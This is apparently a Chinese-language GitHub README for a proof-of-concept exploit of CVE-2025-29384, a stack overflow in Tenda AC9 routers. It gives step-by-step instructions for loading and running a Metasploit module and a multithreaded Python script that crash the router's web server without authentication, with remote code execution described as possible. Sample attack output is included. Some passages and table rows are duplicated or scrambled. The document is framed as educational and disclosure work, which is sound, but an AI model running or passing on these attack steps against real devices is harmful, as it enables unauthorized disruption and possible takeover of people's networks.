CVE-2025-29384的概念验证漏洞利用程序,针对Tenda AC9路由器中一个严重的基于栈的缓冲区溢出漏洞。包含Python和Metasploit模块,用于对基于MIPS的固件进行未认证的远程拒绝服务(DoS)攻击及潜在的远程代码执行(RCE)。
本仓库包含针对 CVE-2025-29384 的高级概念验证(PoC)漏洞利用程序,这是一个严重的基于栈的缓冲区溢出漏洞,发现于运行固件版本 V15.03.05.14_multi 的 Tenda AC9 路由器中。该漏洞允许未经认证的远程攻击者使路由器的 Web 服务器崩溃(拒绝服务,DoS),并有可能执行任意代码(远程代码执行,RCE)。
本项目的目的是展示漏洞利用开发技能,为网络安全社区做出贡献,并为学术评估(例如网络安全奖学金)提供教学展示。 本仓库包含针对 CVE-2025-29384 的高级概念验证(PoC)漏洞利用程序,这是一个严重的基于栈的缓冲区溢出漏洞,发现于运行固件版本 V15.03.05.14_multi 的 Tenda AC9 路由器中。该漏洞允许未经认证的远程攻击者使路由器的 Web 服务器崩溃(拒绝服务,DoS),并有可能执行任意代码(远程代码执行,RCE)。
本项目的目的是展示漏洞利用开发技能,为网络安全社区做出贡献,并为学术评估(如网络安全奖学金)提供教学展示。
CVE-2025-29384 影响 Tenda AC9 路由器的 Web 管理界面,具体端点如下:
/goform/AdvSetMacMtuWan
该漏洞是由于对 wanMTU 参数的边界检查不当造成的,该参数通过 HTTP POST 请求进行处理。输入被复制到固定大小的栈缓冲区中而无任何验证,从而引发经典的基于栈的缓冲区溢出。
易受攻击的函数(假设性重建)结构如下:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
攻击者发送超大的有效载荷(例如 1024 字节以上)会覆盖相邻内存,包括函数的返回地址,从而可能导致代码执行。
Tenda AC9 是一款双频无线路由器,具体规格如下:
此仓库还包含针对 CVE-2025-29384 的基于 Ruby 的 Metasploit 模块。该模块与 Metasploit 框架无缝集成,允许您使用 msfconsole 利用该漏洞。
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
找到 Ruby 模块文件并将其复制到 Metasploit 的 exploits 目录:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
注意: 如果该目录不存在,请创建它:
mkdir -p ~/.msf4/modules/exploits/linux/http/
启动 Metasploit 框架:
msfconsole
加载模块:
use exploit/linux/http/tenda_ac9_stack_overflow
设置目标 IP 地址:
set RHOSTS <target_ip>
设置有效载荷大小(可选,默认为 1024):
set PAYLOAD_SIZE 2048
运行漏洞利用程序:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
成功:路由器的 Web 服务器崩溃,导致拒绝服务(DoS)状态。
失败:路由器仍可正常运行,表明其可能不存在漏洞或正在运行已修补的固件版本。
此 PoC 是一个基于 Python 的漏洞利用程序,它向 /goform/AdvSetMacMtuWan 发送超大的输入,触发缓冲区溢出,从而使 Web 服务器崩溃,并展示进行 RCE 的潜在可能性。
多线程 – 启动多个并发漏洞利用尝试以提高可靠性。
动态有效载荷 – 生成随机 base64 编码的攻击字符串。
日志记录 – 使用 Python 的 logging 模块进行结构化调试。
可自定义参数 – 调整目标 IP、有效载荷大小和线程数量。
此 PoC 是一个基于 Python 的漏洞利用程序,它向 /goform/AdvSetMacMtuWan 发送超大的输入,触发缓冲区溢出,从而使 Web 服务器崩溃。
python poc.py --target <router_ip> --size 2048 --threads 10
| 参数 | 说明 |
|---|---|
--target | 路由器 IP(默认值:192.168.0.1) |
--size |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
成功:路由器的 Web 界面无响应(DoS 状态)。
失败:路由器仍有响应(不存在漏洞或固件版本错误)。
要确认漏洞利用程序是否成功使路由器崩溃,请尝试重新加载 Web 界面。如果变得无响应,则攻击已成功。为进行进一步分析,请检查网络日志中是否有连接中断,或使用 ping 验证设备是否响应。
本项目仅供教育和道德黑客目的使用。未经授权使用此漏洞利用程序是违法的。作者不承担因使用此代码而导致的滥用或损害责任。
由 Otsmane Ahmed 以 ❤️ 开发 本项目仅供教育和道德黑客目的使用。未经授权使用此漏洞利用程序是违法的。作者不承担因使用此代码而导致的滥用或损害责任。
本项目基于 MIT 许可证发布。
| 指标 | 值 |
|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |
有效载荷大小(字节)(默认值:1024) |
--threads | 并发线程数(默认值:5) |